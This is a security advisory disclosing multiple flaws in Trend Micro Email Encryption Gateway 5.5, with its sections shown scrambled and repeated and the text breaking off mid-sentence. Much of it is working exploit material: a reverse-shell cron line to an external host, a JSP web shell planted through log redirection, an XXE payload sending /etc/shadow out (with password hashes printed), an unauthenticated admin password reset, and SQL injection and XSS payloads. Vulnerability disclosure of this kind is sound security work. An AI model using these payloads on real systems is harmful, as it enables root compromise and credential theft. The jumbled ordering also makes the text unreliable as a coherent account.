http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

A SQL injection vulnerability in an Trend Micro Email Encryption Gateway 5.5 edit policy script could allow an attacker to execute SQL commands to upload and execute arbitrary code that may harm the target system. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.The specific flaw exists within the formEditPolicy class. When parsing the editRuleId parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. The vulnerability is caused by the fact that the program does not filter the 'hidRuleId' parameter in the editPolicy.jsp script. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this 